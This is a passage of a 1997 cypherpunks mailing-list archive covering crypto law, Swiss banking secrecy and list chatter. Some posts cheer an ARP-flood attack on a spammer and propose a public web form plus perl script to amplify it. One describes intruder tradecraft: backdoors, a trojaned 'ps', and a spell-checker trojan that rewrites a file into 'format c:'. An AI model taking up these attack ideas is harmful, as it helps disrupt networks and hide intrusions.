> > Igor Chudov writes:
> > > I am interested in your view, Dave.
> > 
> > There are only two reasons that I can see your interest serving. 
> > You either wish to support my views or oppose them. Neither case
> > serves your potential enlightement, therefore I shall choose to 
> > not answer.
> Dave, you are a very insightful man, but in this case you were
> mistaken: I am interested to hear your views for my enlightenment.

I responded that way for a reason. I offered my view on spamming
spammers. You replaced "spamming spammers" with "hacking spammers".
I do not see the relevance, hence my answer.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

     Who are the learned? Those who put into practice what they know. 








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 8 May 1997 01:02:38 +0800
To: cypherpunks@algebra.com
Subject: Test, Ignore
Message-ID: <Pine.LNX.3.91.970507153934.1773B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


	
Test message send via algebra.com

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 8 May 1997 00:22:57 +0800
To: cypherpunks@cyberpass.net
Subject: Duplicate checking: Ignore
Message-ID: <Pine.LNX.3.91.970507153958.1773C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


	
Test sent via cyberpass.net

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 8 May 1997 04:05:48 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <v03020902af966ed17bf4@[139.167.130.248]>
Message-ID: <Pine.SUN.3.91.970507154233.999J-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 7 May 1997, Robert Hettinga wrote:

> PHILADELPHIA, 5-7-97  Bulk e-mail giant Cyber Promotions is under attack by
> "anti-spam" hackers. This concentrated attack was planned for several
> weeks, and has been publicly discussed on Internet newsgroups. The hackers
> are using a brand new method to deny service to all Cyber Promotions'
> computers hooked to a main router on an AGIS line. The hackers have devised
> a system which sends millions of random "arp" requests to a router, which
> can disable the whole network for hours. This type of attack has never
> occurred before. Currently thousands of businesses with web pages and mail
> box accounts are being denied service.


Wooo hooo! :)  Now that's a dream come true!  Whoever did this: many 
thanks! :)  

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder@sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 8 May 1997 04:35:14 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Since when is supporting unrestricted crypto unreasonable?
Message-ID: <199705072021.QAA31743@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:46 PM 5/6/97 -0500, Omegaman wrote:
>I'm starting to think that until someone actually gets arrested and
>jailed for using strong, unbreakable encryption that is "suspected" of
>supporting a crime, little will change.  In the meantime, the
>administration, Congress, and the TLA's will keep getting closer to
>achieving their goals.

Ahh, but the government is far too clever to haul up Phil Cypherpunk and charge him with "Encryption with intent to hide".  Instead, they'll wait until they get a Tim McVeigh-esque case, show that he "conspired" using encryption, and say "See how tough on crime we are?  We must convict and fry this evil militia member.  And give him an extra 230 volts for using encryption, according to the SAFE law."  There isn't an American politician alive who would dare publically ask to have a McVeigh-level-case's sentence reduced or any stupid charges dropped.  "Sorry, I can't appear soft on this kind of criminal!"

Then, there is *legal precedent* for all kinds of criminals to get the extra 5 years (or 230 volts).  Then, when they DO come around and pound down the doors of Jim Cypherpunk for having evil thoughts about FBI agents and find an encrypted copy of Penthouse; well, hey, that law's been tested on the books before.  Lock him up.

When charges are brought up against a suspect, the suspect is truly spammed with all manner of accusations.  It's how the legal game is played.  Find someone you want to lock up, then throw enough turds and some will eventually stick.  Tim May's new signature nicely reflects this.

Therefore, citizens won't ever "win" if ProCODE or SAFE or whatever is enacted.  It'll just be another turd thrown at suspects.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 8 May 1997 07:52:23 +0800
To: cypherpunks@toad.com
Subject: Igor's Diabolical Mind
Message-ID: <199705072327.QAA09304@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote: 
> some of the best hacks that I heard was to install a trojan
> instead of, say, cat, that would randomly change one byte in
> a randomly chosen file.

Igor,
  I am currently monitoring a friend's system in order to analyze
the source and methodologies of various attacks on it and I spend my
spare time reading his email, databases, private diaries, etc.
  (I am blessed with breasts which allow me to set a man's car on
fire and know he will just smile, and say, "That's OK, I'll get
another one.")

  His comments regarding "Igor" imply that you have a diabolical
mind and a good nose for nasty business.
  I can tell from your comments above that he judged you fairly well.

  Most hackers tend to be one-time Charlie's who pop into a low
security system to mark their territory by pissing on a directory
tree, so to speak, or adding their own personal form of graffiti
and then returning home to pat themselves on the back for their 
great genius.
  In many cases the admin of a good system will have everything
back to normal before the hacker has finished congratulating
himself.

  The system intruder I am currently dealing with has a long
history of success in his nefarious activities and one of the
main reasons for this is his patience and his subtlety.
  Once he gains entry to a system he generally sets up an
obscure back door for himself, pulls a directory tree, finds 
out the backup schedule, and then exits.
  He then lays out a plan of attack which is geared toward
allowing him to roam the system at will without being observed.
Usually, he will start by replacing such things as the system 
'ps' command with one that keeps certain processes hidden from
the prying eyes of sysadmins. He also substitutes his own
programs for system files which are rarely installed and/or
used.

  He is one of a rare breed of pure hackers whose main focus is
system penetration and information access, with control issues 
being secondary. This requires a level of patience that allows
him to observe the system for months, if necessary, before
moving to secure his long-term ability to penetrate the system
and roam at will.
  Once an intruder has his handiwork on the previous few months
of system backups, then you might say that he has become a 
"tenured" member of your organization.

  I have had previous experience with the individual involved
in the compromise of my friend's system (and ISP) and I am well
aware of the fact that much of his power comes from the fact
that he tends not to interfere with the functioning of one's
system unless he is attacked. (In which case he generally fires
a shot over the sysadmin's bow, indicating that the choices are
"peaceful coexistence" or "explaining to management that their
system is 'toast' because you chose to cop an attitude.")
  The only way, to my knowledge, that anyone has ever forced his
exit from a system he has penetrated has been by ferreting out
enough of the substructure of his intrusion that he fears his
latest methodologies being discovered and exposed to scrutiny.
{In which case he quietly packs up and leaves. {In my case,
he sent me flowers, as well.})

  On rare occasions he will intervene to fix system problems
that are beyond the resident sysadmin, perhaps because the
problems are affecting his own activities.
  When macro capabilities were added to spreadsheet programs,
he had a trojan written for them before the shrink-wrap on
the new release hit the floor. (He recognized macros as a
close cousin to the Unix daemons, which he considers God's
gift to pure hackers.)
  He was lurking on my friend's system in Austin, at the 
time, and he dropped my friend a polite note that advised him
it would be unwise to mess with the files until the hacker
had debugged them sufficiently that they would not cause
inadvertant problems.

  His current work-in-progress is a Trojan which is frightening
in its scope if it turns out to operate in the manner that I
and others now suspect. It may represent a quantum leap in Trojan
Horse technology (kind of an Equestrian Trojan Horse).
  {Its existence was "discovered" by a cypherpunk, by the way.}

  While I am not at liberty to reveal the as yet sketchy details
of how the Trojan operates, I can give you a small glimpse into
the the mind of its creator by providing an example of another
Trojan that was previously discovered with his signature on it.

  The Trojan works through a word processor's spell checking and 
automatic correction system.
  Nonsensical character sequences are added to the spell checker,
in the form of 'xytrz-->delete', 'xribpt-->format', etc. A .doc 
file is placed on the system which, when spell-corrected, will
then become "format c:" or whatever its creator desires.
  A variety of triggers were discovered for the Trojan, and they
encompassed a variety of approaches. (The triggers were indicative
of a benign series of probing experiments designed to lead to a
finished product versatile enough to bypass any attempt to guard
against the Trojan's execution.)

  A simple trigger would run a .bat file which loaded the file into
the word processor, auto-corrected the spelling, saved the file as 
a .exe file of the creator's choosing, then exited.
  More complicated triggers involved such things as (in Win 95)
giving the file a unique extension (such as .xyz), using the
"open with" option to point to a hidden copy of a word processor
executable which has no macro-virus protection, etc., and which
will run the macros in place in the file when it is opened.
  (A variation on this trigger takes advantage of the fact that
many systems keep outdated versions of word processing software
on the system in order to be able to work with older files {which
often turn to crap when loaded into the latest-greatest version,
despite manufacturer's claims of compatability}. Users and admins
generally don't stop to realize that the "protection" they install
is often applied only to the newest version of their software.)

  As you pointed out, Igor, the more subtle a program's operation
and effects, the longer it can work undiscovered and the greater
the range of the time/space continuim it can encompass.
  Virus/Trojan checkers generally guard only against system 
damage and/or loss of data. It is infinitely more difficult
to guard against a system intruder who has other goals in mind
and has the patience to remain unobtrusive.
  Even most security conscious system administrators don't take
much note of minor glitches as long as they appear to be benign
problems inherent in the implementation of the software.

  The Trojan that I and others are currently working with was
only perceived as a potential problem after the person who
discovered it had spent months cursing the software manufacturer
for not including an obviously needed capability in the product.
  It was a very minor but frustrating problem, leading the user
to make inquiries as to how to "work around" the product's lack
of providing this function. Upon discovery that the product was
supposed to provide the function, his research quickly indicated
that there was a "fly in the ointment."
  Most users probably would have just shrugged and lived with 
the problem, since it was relatively minor. Instead, he brought
the small anomalie he discovered to the attention of myself and
others and it has opened up a Pandora's box that appears to
have the potential for a new breed of Trojan Horses.

> basically, install lots of backdoors and then play with their minds.

  Actually, Igor, I'm beginning to wonder if perhaps you are the
hacker I've been trying to ferret out? I think I'll keep an eye
on you.
 
> some ppl would steal CC# of their customers and publish them, but I would
> not do it.

  The hacker I've been discussing has infiltrated a variety of
Pac Bell sites, and the like, over the years.
  A regional administrator, upon being informed of the presence
of an intruder on the system, immediately called in a team of
Bay Area security consultants to deal with the problem. By the
time they arrived the hacker had sent a small mountain of email
to various management personnel which contained precious company
secrets and had Pac Bell's competition listed as a cc: (in the
body of the message, as a warning).
  When the group from Berkeley arrived they consulted with the
admin about the potential seriousness of the veiled threat, did
a quick check of the system, realized who the hacker was that
they were dealing with, shrugged, and said, "He's on our system
too. We'd advise just leaving him alone."
  When the administrator questioned the wisdom of their suggestion
the consultants advised him that they would be more than happy to
proceed as long as the overuling of their opinion was put in 
writing. The admin agreed, whereupon he was presented with the
consultants' standard "reality check" authorization form, whose
letterhead reads:
AUTHORIZATION TO PROCEED CONTRARY TO 
   ADVISED COURSE OF PROCEDURE
"Last One Seen Fixing It Gets The Blame"

  The administrator decided in favor of job-security, and the 
security consultants were paid generously to provide a generic 
report for his superiors which indicated that the admin's prompt 
action resulted in the problem coming to a quick resolution.


  Personally, I've seen more than a few sysadmins who declare
war on a minor hacker instead of just fixing the problem so
that it won't occur again and moving on. (Much like some of the
hilarious posts in the cypherpunks archives in which a list
member responds to a Vulis post by saying, "Just ignore him
and he'll go away." and then proceed to take two or three
pot-shots at him.)


(.)(.)Monger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ernest Hua <hua@chromatic.com>
Date: Thu, 8 May 1997 07:54:59 +0800
To: cypherpunks@toad.com
Subject: crypto.swdev.co.nz ??
Message-ID: <199705072336.QAA14358@ohio.chromatic.com>
MIME-Version: 1.0
Content-Type: text/plain


Anyone know why crypo.swdev.co.nz is no longer available via anonymous
ftp?

Ern





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Thu, 8 May 1997 05:16:04 +0800
To: Tim May <cypherpunks@cyberpass.net
Subject: Re: Banking Secrecy and Nazi Gold
In-Reply-To: <v03007800af9667d20ad6@[207.167.93.63]>
Message-ID: <3.0.1.32.19970507170555.02655d84@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

- From some of my recent writing on the subject:

Nazi Gold, Jewish Accounts 

In the last year, Switzerland has been suffering from a series of attacks on
its record during and since the Second World War.  These articles, TV
stories, U.S. Congressional hearings, and lawsuits deal with two basic
issues.  First, that the Swiss accepted Nazi gold and deposits and performed
various financial services for the Nazi government; and second, that Swiss
banks have kept the dormant accounts of Jewish Holocaust victims and they
have refused to give these funds to their heirs.

There are several important things to note before discussing specifics.

First, many of Switzerland's critics are bitterly opposed to the Swiss
tradition of bank secrecy.  They do not care about the desires of those Swiss
bank customers who like secrecy and they are using these complaints as a
means of attacking bank secrecy.  They would be attacking Switzerland with or
without the specific issues.

Second, these controversies are not new.  The issue of Nazi gold was debated
at length after the war in a dispute between Switzerland and the Allied
Powers.

Third, these two controversies are separate.  The Nazi Gold question concerns
the fact that Swiss banks performed financial services for the German
government and private individuals from Germany during the war.

Some of this money may have been stolen by the Germans.

The Jewish accounts question has to do with the problems some heirs of
holocaust victims have had in obtaining family money they believe to have
been deposited in Swiss Banks before the war.

a) The Critics 

Some of the recent critics of Swiss banking come to the table with "unclean
hands."  US politicians and bureaucrats hate Swiss banks and bank secrecy in
general.

Their motives in this matter are not altruistic.  They want to eliminate
financial privacy so that they can get their hands on any one's money any
time they feel like it.  They will use any "wedge" issue they can create to
attack institutions that protect financial privacy.

Their attitude towards other people's wealth most closely resembles that of
the Nazi government.  Everything should be fair game.

The bad publicity is a political maneuver on their part to make it easier to
get their hands on other people's money.

US anti-privacy bureaucrats are also worried that the growth of electronic
banking via the Internet and other computer networks will allow Swiss Banks
to cheaply and easily offer their traditional protections to people all over
the world.

They know that if the Swiss can electronically expand their banking industry
worldwide, the ability of governments to grab other people's money will be
compromised.

b) The Facts - Nazi Gold 

It is true that Swiss banks, the Swiss government, and many Swiss businesses
dealt with the German government and various German citizens before, during,
and after the war.  They provided financial services to the German government
in the same way that at the peak of the Cold War, they hosted a bank owned by
the Soviet government.

To the Swiss, neutrality has always meant neutrality.  Other neutral nations
such as Sweden, Portugal, Spain, and Turkey traded with Germany as well.  It
was perfectly legal under the then existing international law and it remains
legal today.  International boycotts were unknown 60 years ago and are not
mandatory today.

Note that today the U.S. government and U.S. companies do business with
communist China.  This is the same government which murdered 50-70 million
human beings in the last 50 years.  We are "neutral" vis a vis their crimes
against humanity.  During the Cold War, India and many other countries were
neutral concerneing the Soviet Union.  This neutrality is not generally
attacked today.  

After the war, the U.S. government was very upset with Switzerland.  They
wanted the Swiss to come up with gold that the Nazis had stolen and shipped
via Switzerland or via Swiss banks.  The US government (in a complete
abrogation of its contractual agreements) went so far as to seize large gold
deposits that Swiss banks and the Swiss government had at the Federal Reserve
Bank of New York.  This international depository, which still exists today,
holds gold from banks and governments all over the world and facilitates
large financial transfers among the depositors.

The US government claimed that large amounts of Nazi assets were on deposit
in Swiss banks and that the Allied Powers should get this money.  The Swiss
Banks didn't want to destroy their system of bank secrecy and surrender to
the Allies the sovereignty they had maintained successfully against the
Germans.

The Swiss government maintained that under the Hague Land Warfare Convention
of 1907, cash and valuables of an occupied state - but not of private
individuals - were subject to the occupying state's right to the spoils of
war. Thus, Germany could have acquired gold and other assets from occupied
areas legally, and sold it.  They also said that the Swiss National Bank had
acquired the gold in good faith.

The US government also imposed controls on Swiss private holdings in the US
(approx. SFr4.5 billion) to increase its leverage in the negotiations.

Finally, in 1946, under enormous pressure the Swiss delegation offered to
settle all Allied claims by paying a lump sum of SFr. 250 million in gold
(worth today approximately SFr. 1.5 billion), which the Allies accepted,
irrevocably waiving all further claims and deblocking the billions of Swiss
Francs in frozen US accounts.

So in spite of what you may have heard, the question of Nazi gold in Swiss
banks was settled by treaty in 1946.  There is no new information on "Nazi
gold" available today.

In 1946, Switzerland and the Allies disagreed over the amount and the legal
status of gold and other property deposited by the Nazis in Switzerland. 
They still disagree today.

But in 1946 they did agree to settle all claims by a payment of gold so the
U.S. can't reopen this issue without breaking its treaty obligations.

c) The Facts - Jewish Accounts 

Both before and during the war, Jews and other victims of Nazi oppression
opened bank accounts in Switzerland.  Switzerland welcomed this money and,
indeed, passed its bank secrecy law in 1934 in part to protect these accounts
from the totalitarian nations which might want to grab them.

Many thousands of Jews who escaped from Hitler prior to the war, or who
survived the Holocaust, used their Swiss bank accounts to pay for their
escape and start their new lives in the countries into which they fled.

Recent complaints about the status of Jewish accounts in Swiss banks have
mixed in a host of extraneous issues which have to be disposed of before we
can talk about the real question.

First, it is true that Switzerland refused to accept many refugees who were
fleeing the Nazis.  Like the U.S., the U.K. and almost every other nation,
Switzerland used its tight immigration laws to block the escape of many
victims of tyranny.  Most people think this is outrageous.  It is also true,
however, that Switzerland did accept thousands of refugees in the years
between 1933 and 1938 when they decided that they had enough.  During this
same period, the U.S. admitted very few refugees.

But it is irrelevant to the issue of Jewish Bank accounts.

Second, many individual Nazis also used Swiss banks after the war to aid
their escape from Allied authorities.  This establishes nothing except the
neutrality of the Swiss banks.

The real charge is that Swiss banks have blocked attempts by the heirs of
Jewish (and presumably other) account holders to obtain the contents of those
accounts.  These are the children of the many who died in concentration camps
and who came from places where whole families, and indeed whole villages,
were wiped out by Nazi terror or who died in the awesome destruction of that
war.

These heirs have approached Swiss banks to try to find accounts and some have
been frustrated in that attempt.

Note that no one has claimed that they were themselves an account holder and
have been unable to get their money out of their own bank.  These are
children or grandchildren who often lack specific information on the bank
accounts their parents may have held.

There are a number of things one can say about the problems someone without
documentation has getting money out of a 60-year-old bank account.

I recently asked a friend of mine, a former resident of Berlin, about this
problem.  He had been a guest of the German government in Auschwitz for a
time in the 1940s.  Today, living in America, he has the pension which
Germany pays to all concentration camp survivors paid into his Swiss bank
account.  His response: "If it was easy to get money out of Swiss banks, the
Nazis would have gotten all of it."

The fact is that Swiss banks require proof before they part with an account
holder's money.  They are not casual about other people's money like some
institutions in other countries.

Many heirs of the Nazi victims did get their money out of Swiss banks.  They
had proof that the accounts existed and that they were entitled to the funds.
 Unfortunately, others were not able to establish their claims.  The same
thing could happen in America.

All banks end up with dormant accounts over time.  People forget that they
have them or they die without heirs.  Money is often lost in this way.

In the U.S. (and all other Anglo-Saxon legal systems)  dormant accounts are
seized by state governments after a certain period of time and their contents
are blown on whatever schemes the state thinks worthwhile.  This process is
called escheatment.

If an owner finds out about the dormant account later, he can apply to the
state government for the money.

Switzerland does not practice escheatment.  If you give your money to a Swiss
bank, it will be there forever waiting for you and any heirs who have proof
that it's theirs.

The Swiss system is certainly preferable to the American system in this
regard.

Caveat:  Keep good records (including records not located where you live) and
make sure your heirs can find out where your accounts are.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Thu, 8 May 1997 08:34:59 +0800
To: jimbell@pacifier.com (Jim Bell)
Subject: Re: My editorial in Oregonian newspaper published today.
In-Reply-To: <199705061458.HAA08763@mail.pacifier.com>
Message-ID: <199705080020.RAA15368@netcom7.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


JB's editorial is so mild-mannered I can barely resist comment.
this from the JB we all know and love? this is so bland as to
be almost PC, and frankly I agreed with every statement in
it, virtually. how did he manage to avoid the label "assassination
politics"? in fact how does he avoid the label "assassination"
entirely? 

the whole system was based on killing people. what's
this about mere "protection" or "security"? JB, have you changed
your ideas? a common pot of money for a security force is not
a radical idea. a betting pool on deaths *is* not only radical,
but quite morally vacuous and depraved.

I think the main flimflammery in the essay is the concept of
"criminal". JB always advocated in the past that merely being
a bureacrat was virtually criminal, and that people would donate
money toward their demise. 

JB, you are going to get nailed for your obvious duplicity.
you should be ashamed of yourself. you are not only a advocate
of death, but someone who does so as weasely as any politician
hides his true views.  you are not being honest with your own 
ideas. you are just as much a hypocrite as the bureacrats you despise.

note to everyone: jim bell's editorial has virtually no relation
to his past essays. I propose that someone send that newspaper
his AP article.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: roy@sendai.scytale.com (Roy M. Silvernail)
Date: Thu, 8 May 1997 11:45:45 +0800
To: cypherpunks@cyberpass.net
Subject: Re: airlines_2.html
In-Reply-To: <199705071055.GAA29130@linux.nycmetro.com>
Message-ID: <970507.174733.0L8.rnr.w165w@sendai.scytale.com>
MIME-Version: 1.0
Content-Type: text


-----BEGIN PGP SIGNED MESSAGE-----

>    Tuesday May 6 11:33 PM EDT 
>    
> Airlines Step Up Baggage Security Measures

Denial of service attack, anyone?  How many missed connections would be
required to paralyze the major air routes in the US?
- -- 
           Roy M. Silvernail     [ ]     roy@scytale.com
DNRC Minister Plenipotentiary of All Things Confusing, Software Division
PGP Public Key fingerprint =  31 86 EC B9 DB 76 A7 54  13 0B 6A 6B CC 09 18 B6
                 Key available from pubkey@scytale.com
            I charge to process unsolicited commercial email

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 8 May 1997 06:19:08 +0800
To: Paul Pomes <ppomes@Qualcomm.com>
Subject: Re: (fwd) Cell Phone Cancer Study
Message-ID: <1.5.4.32.19970507215200.0094bc88@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks for critiquing this sensitive topic.

The 11-page paper was published by Radiation 
Research, as noted here, whose editor is at Oak
Ridge National Lab, if that offers credibility.

Radiation Research's Web site shows an impressive
range of credentials of scientists in the field, perhaps 
superior, if more specialized, to that of Science and 
Nature, both which oft times suffers the chancres of
promiscuous sci-populuxitis.

Best is to see the report for oneself. A copy is available 
for US$30.00 by fax. Request by calling the publisher 
at (423) 574-5874. Or E-mail to:

   Radiation Research
   Biology Division
   Oak Ridge National Laboratory
   <radres@aol.com>

We've had a layman's look and cite the authors' final
cautionary paragraph:

"This is not to imply that any humans at all are necessarily
at increased risk of cancer as a consequence of exposure 
to RF fields. No single experiment on animals can allow such
a conclusion. Rather, we believe the study reported here
indicates a need for further research. Tumorigenesis in
genetically predisposed mice may provide a useful assay
for interactions between RF fields and biological systems. 
With the current rapid expansion in the use of RF fields
for telecommunications, a reliable assay is required to
enable a better assessment of limits to safe levels of
human exposure."

Send more money or die, sucker, the "responsible" scientist's 
clanging alarm, eh?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 8 May 1997 06:32:44 +0800
To: Dave Hayes <dave@kachina.jetcafe.org>
Subject: Re: Controversial Commercial ISP for Remailer?
In-Reply-To: <199705072207.PAB22259@kachina.jetcafe.org>
Message-ID: <Pine.SUN.3.91.970507181419.999K-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 7 May 1997, Dave Hayes wrote:

> This was truly a mirrored interchange. I thank you for the opportunity
> to witness my self in you. ;-)

I bet you say that too all the shamans, big boy. :)  Sorry, not 
interested.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder@sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Thu, 8 May 1997 06:26:44 +0800
To: cypherpunks@algebra.com
Subject: (fwd) Elctronic Funds Transfer Expansion Act
Message-ID: <199705072216.SAA25634@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text



>From Post Office Credit Union' _Credit Union Post_, Spring 1997:

Congress recently passed a law making it mandatory to receive government
payments by direct deposit to a financial institution. It's called
"Electronic Funds Transfer Expansion Act," and it requires all federal
payments, except an IRS refund check to be issued by electronic funds
transfer (Direct Deposit).

It will affect anyone who receives veteran's benefits, Social Security,
federal government and military pensions and salaries, or any government
payment. Members who have their payments sent to Post Office Credit Union
will have _immediate access_ to their money.

So what are you waiting for? If you don't already have direct deposit,
consider signing up for it. It's not only easy, convenient, and safe, it
will soon be mandatory for all!

Give us a call at 244-3518 to take advantage of direct deposit today!

--
[The] "Electronic Funds Transfer Expansion Act".. requires all federal payments
except an IRS refund check to be issued by electronic funds transfer. So what
are you waiting for? If you don't already have direct deposit, consider signing
up for it. It's not only easy, convenient, and safe, it will soon be mandatory
for all! [Post Office Credit Union' Credit Union Post_, Spring 1997]
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 8 May 1997 06:53:25 +0800
To: cypherpunks@toad.com
Subject: Re: [NTSEC] 64-bit En/Decryption speed (fwd)
Message-ID: <Pine.SUN.3.91.970507182059.999L-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



---------- Forwarded message ----------
Date: Wed, 7 May 1997 14:17:55 -0400
From: Craig Nulan <Craig.Nulan@ccmail.irs.gov>
To: Bill Stout <stoutb@pios.com>, ntsecurity@iss.net
Subject: Re: [NTSEC] 64-bit En/Decryption speed

          577 Mghz
          No hardware abstraction layer
          The native platform on which NT was developed

          No need to validate beyond this.  10 times or faster.

          The DEC marketing rhetoric re: Alphas, is fairly reliable,
          unlike Microsoft's representations re: NT security.

          Has anyone else on this list examined the apparent demise of
          TCSEC product evaluations?  Anyone else questioned why MS
          failed to keep NT in the RAMP process subsequent to getting
          version 3.5 C2 certified in a workstation configuration?

          Does it strike anyone else as odd that the U.K.'s ITSEC
          product evaluations are vendor sponsored, vendor scheduled,
          and conducted in private test environments?

          Does anyone believe that NT can ever be restructured
          into a general purpose operating system?  A secure, general
          purpose O/S?

          Two URL's you'll want to remember.

          csrc.nist.gov  - here you'll want to look at the the `94 and
          `95 annual reports (and meeting minutes) of the Computer
          Security and Privacy Advisory Board

          www.ecma.ch - where you can read first hand how security
          evaluation criteria are evolving

          Could it be that it's time to consider NT security from the
          perspective of the forest rather than from the perspective
          of endless little leaves on endless expanses of trees?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 8 May 1997 06:49:11 +0800
To: cypherpunks@toad.com
Subject: GAK Spreads, FRB Smirks
Message-ID: <1.5.4.32.19970507222635.0095f0f0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


A news report today that 22 new members have joined
the Key Recovery Alliance, now 61 total. A meeting
in Toronto on April 24-25 reviewed committee
reports on key recovery prospects for "facilitating
the wordlwide use of strong cryptography."

And, two Federal Reserve economists claim that
smart cards and E-cash have a ways to go to
compete with well-tested and trusted paper bucks.
No, they smirk, these views do not protect the FRB's
central bank hegemony.

Both reports at:

   http://jya.com/krafrb.txt





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Thu, 8 May 1997 08:05:30 +0800
To: Lee Tien <tien@well.com>
Subject: Re: SAFE
In-Reply-To: <v03007802af940ac0a7fc@[163.176.132.90]>
Message-ID: <Pine.LNX.3.95.970507184619.1208A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 6 May 1997, Lee Tien wrote:

> [I wonder:  how does SAFE interact with IPSEC and arrangements like S/WAN?
> This is not, I think, merely the "willful furtherance" provision.  The "law
> enforcement" access provision may be ambiguous for keys that are not
> "private"; my understanding of IPSEC is that the key is in the possession
> of the machine and not the user.  I'm unclear whether users have 4th A.
> standing to challenge law enforcement access to such keys; there are lots
> of 4th A cases where a person has no privacy interest in information
> because it's been disclosed to another person, or is in another person's
> control.  Of course, I probably don't understand how IPSEC works, so
> corrections are welcomed.]

SKIP, one key exchange protocol for IPSEC, allows for both user and IP-based
keys.  Since these keys would be probably be stored on the same machine, it
raises some interesting 4th A issues.  The keys could either be seen as
under the control of the owner of the computer and can be disclosed at his
discretion, or similar to email where the data is considered private and
the owner of the hardware does not have the right to disclose this
information.

Regardless, one big win with IPSEC is its use of Diffie-Hellman key exchange
which makes recovery of past session keys impossible (I believe the term
for this is "forward secrecy").  A warrant won't do the feds much good.

>
> Lee
>
>
>


Mark
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 8 May 1997 08:50:21 +0800
To: cypherpunks@toad.com
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <3.0.1.32.19970507142536.009a7e90@gateway.grumman.com>
Message-ID: <9mXc7D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Rick Osborne <osborne@gateway.grumman.com> writes:

> >PHILADELPHIA, 5-7-97  Bulk e-mail giant Cyber Promotions is under attack by
> >"anti-spam" hackers. [...] Currently thousands of businesses with web pages
> >and mail box accounts are being denied service.
> 
> Hmmm... the whole reason they are trying to stop the arp-spam is because
> whoever is doing it is trying not to be found, right?  Well, what if
> someone (or a group of someones) were to set up a web page with a script
> behind it.  The page would simply ask "How many arps would you like to send
> CyberPromo?".  An anonymous web user then fills in the blank, hits SUBMIT,
> and the CGI does its thing.  Using this system, especially if it is not
> just coming from one page but from anyone who sets up the CGI on their
> system, CyberPromo really can't do anything about it, can they?
> providing the interface.
> 
> A perl script to connect directly to their SMTPd (no point in clogging
> yours by using sendmail) would be trivial.  If set up on a sufficient
